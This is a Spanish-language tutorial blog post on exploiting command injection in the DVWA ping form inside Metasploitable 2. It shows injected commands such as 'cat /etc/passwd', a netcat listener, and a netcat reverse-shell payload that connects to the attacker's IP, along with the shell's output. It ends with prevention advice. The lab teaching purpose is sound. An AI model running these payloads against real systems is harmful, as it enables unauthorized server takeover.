Seguridad Web: explotando la vulnerabilidad Inyección de Comandos para obtener una shell inversa

Inyección de comandos

La inyección de comandos es una técnica utilizada por los hackers/crackers para ejecutar comandos del sistema en un servidor, generalmente a través de una aplicación web o algún tipo de GUI. Esto puede suceder cuando una aplicación proporciona funcionalidades para el usuario que implican el uso de comandos del sistema. Cuando la entrada no se limita correctamente, se permite la ejecución de comandos que originalmente no estaban destinados a ejecutarse.

Dado que la aplicación básicamente actúa como una especie de shell improvisado, este tipo de ataque puede llevar a consecuencias catastróficas. Dependiendo del nivel de privilegio que tenga la aplicación, un atacante puede hacer cualquier cosa, incluso ver archivos de configuración, modificar o eliminar datos, o incluso obtener un shell o crear una puerta trasera.

Es importante notar la diferencia entre la inyección de código y la inyección de comandos. En la inyección de código, un atacante inserta el código personalizado que luego ejecuta la aplicación o el programa, mientras que la inyección de comandos aprovecha la funcionalidad de la aplicación en la que se ejecutan los comandos del sistema. Estos conceptos son similares, pero el hecho de que la inyección de comandos se base en el comportamiento predeterminado de la aplicación a menudo hace que sea más fácil de explotar.

En este tutorial, utilizaré DVWA como parte de Metasploitable 2 en una máquina virtual vulnerable para simular este ataque.

· Paso 1: Encontrando el vector de ataque

Podemos comenzar buscando un vector de ataque apropiado para explotar. En este ejemplo, el sitio tiene una función que nos permite hacer ping a otros dominios o direcciones IP para probar la conectividad. En realidad, probablemente sea raro encontrar un ejemplo tan descarado de esto, pero nunca se sabe. Para fines de demostración, esto funcionará perfectamente.

Aquí es bastante fácil ingresar la dirección localhost (127.0.0.1) para probar esto. Podemos ver las respuestas de ping, por lo que parece estar funcionando correctamente.

Inyeccion de comandos

· Paso 2: Realice pruebas de vulnerabilidades inyectando comandos

A continuación, podemos tratar de inyectar un comando simple para ver si existe una vulnerabilidad. Este servidor web en particular está ejecutando Linux, pero la misma técnica se puede aplicar a los servidores de Windows mediante el uso de comandos de Windows. Podemos agregar un comando usando && (AND), ; (separador) o | (tubería). Probemos un simple ls primero. La inyección fue exitosa y se muestra el contenido del directorio actual:

Prueba

El comando whoami imprimirá el usuario actual:

Whoami

Podemos ver el contenido de /etc/passwd añadiendo el comando cat /etc/passwd a la orden:

Cat

Hasta ahora, todos los comandos que hemos ejecutado han sido de bajo impacto, útiles para recopilar información sobre el servidor pero no mucho más. ¿Qué pasaría si pudiéramos obtener una shell en el sistema y vulnerarlo por completo? Bueno, usando la popular herramienta Netcat, podemos hacer eso.

· Bind Shells vs. Reverse Shells

Antes de obtener la shell del sistema, es importante entender las diferencias entre los dos tipos de shell mencionados.

Una bind shell es una shell de comados que se abre en el sistema víctima, normalmente en un puerto especifico. En este caso la máquina atacante realiza la conexión al servidor y puerto especificos para obtener la shell del sistema. Como contraparte, este tipo de ataques pueden ser fácilmente detectados por un firewall que bloquee conexiones entrantes, por lo tanto este tipo de shells no son muy usadas.

Una reverse shell hace todo lo contrario a la anterior. El sistema víctima es quien realiza la conexión con la máquina atacante que ha sido preparada previamente para quedar a espera de una conexión. Debido a que establece una conexión saliente, es más difícil de bloquear para un firewall ya que probablemente no filtre las conexiones salientes. Esta es la opción preferida al momento de obtener una shell.

· Usando Netcat para obtener la shell

Netcat es una poderosa herramienta de red utilizada para probar conexiones TCP o UDP. Otras características incluyen depuración, escaneo de puertos, transferencia de archivos y capacidades de puerta trasera. Podemos usar Netcat para engendrar un shell inverso en el servidor web, siempre que esté instalado, y volver a conectarlo a nuestra máquina para tener un control total sobre el sistema.

Primero, usamos el siguiente comando en nuestro sistema local para abrir un puerto de espera para las conexiones entrantes. El uso de Netcat es nc , el distintivo -l abre un puerto y -p 1234 le indica que use el puerto 1234, pero cualquier puerto aleatorio funcionará.

nc -l -p 1234

A continuación, en la utilidad de ping de la aplicación web, agregue el siguiente comando para generar un shell en el servidor y conectarse de nuevo a nuestra máquina:

127.0.0.1 &&  nc 192.168.0.5 1234 -e /bin/sh 

La IP 192.168.0.5 debe ser reemplazada por la dirección IP de su equipo, ya sea local o pública. La opción -e /bin/sh le indica a netcat que debe ejecutar una shell y enviarla de regreso a nuestro sistema. Ahora podemos ejecutar comandos tranquilamente desde nuestro terminal.

Para obtener información del usuario, usaremos whoami e id

[email protected] ~ ->
 ➤➤➤➤ ▶ nc -l -p 1234
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Para información del sistema uname -a

[email protected] ~ ->
 ➤➤➤➤ ▶ nc -l -p 1234
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux debian 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 GNU/Linux

Con el comando ps podemos ver los procesos del sistema:

[email protected] ~ ->
 ➤➤➤➤ ▶ nc -l -p 1234
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux debian 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 GNU/Linux
ps
  PID TTY          TIME CMD
 1391 ?        00:00:00 apache2
 1392 ?        00:00:00 apache2
 1393 ?        00:00:00 apache2
 1394 ?        00:00:00 apache2
 1395 ?        00:00:00 apache2
 1398 ?        00:00:00 apache2
 1418 ?        00:00:00 apache2
 1508 ?        00:00:00 sh
 1510 ?        00:00:00 sh
 1515 ?        00:00:00 ps

Desde aquí, podemos pivotar a otros sistemas en la red, crear una puerta trasera o desconectar absolutamente el servidor. Las posibilidades son infinitas ahora que esencialmente hemos sido dueños del servidor.

· ¿Cómo prevenir la inyección de comandos?

Al igual que muchos ataques que ocurren en la web, especialmente otras técnicas de inyección, la inyección de comandos se puede prevenir y mitigar con éxito asegurando que la validación de entrada correcta por parte del usuario sea de total confianza. Al filtrar ciertos fragmentos y caracteres especiales, o idealmente con un enfoque de lista blanca, se reduce la probabilidad de un ataque de este tipo.

Las prácticas seguras de codificación y las revisiones de códigos son cada vez más vitales para el proceso de desarrollo; Limitar lo que se puede explotar desde el principio es una gran manera de reforzar la postura general de seguridad de una organización y sus aplicaciones. Así mismo, el uso de API fiables que proporcionan entradas parametrizadas es siempre una apuesta segura, así como la ejecución de aplicaciones con los privilegios más bajos posibles.

Sin embargo, en última instancia, lo mejor es omitir por completo la funcionalidad de los comandos del sistema operativo. En muchos casos, no hay una buena razón para que una interfaz orientada a la web necesite interactuar con los comandos del sistema. Al eliminar la vulnerabilidad en primer lugar, esencialmente has derrotado a un atacante en ese frente.

· Conclusión

Una y otra vez hemos visto cómo una entrada mal validada puede llevar a la explotación, especialmente cuando se trata de aplicaciones web. La inyección de comandos se basa en la funcionalidad que implica los comandos del sistema operativo, generalmente a través de una aplicación web o GUI. Cuando se permite la ejecución de comandos no deseados en el sistema, un atacante puede ser el propietario del servidor y obtener un shell, como demostramos con Netcat. Esto solo muestra cómo implementaciones aparentemente inofensivas pueden verse comprometidas y explotadas.

Síguenos en FacebookTwitterunete a nuestra charla en Riotúnete a IRC o únete a Telegram y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.

Acerca del autor

Especialista en Seguridad Informática bajo certificación OSCP, especialista en técnicas de privacidad y seguridad en la red, desarrollador back-end, miembro de la FSF y Fundador de Security Hack Labs. Entusiasta de la tecnología y amante de GNU/Linux. Twitter: @edu4rdshl XMPP/Email: [email protected]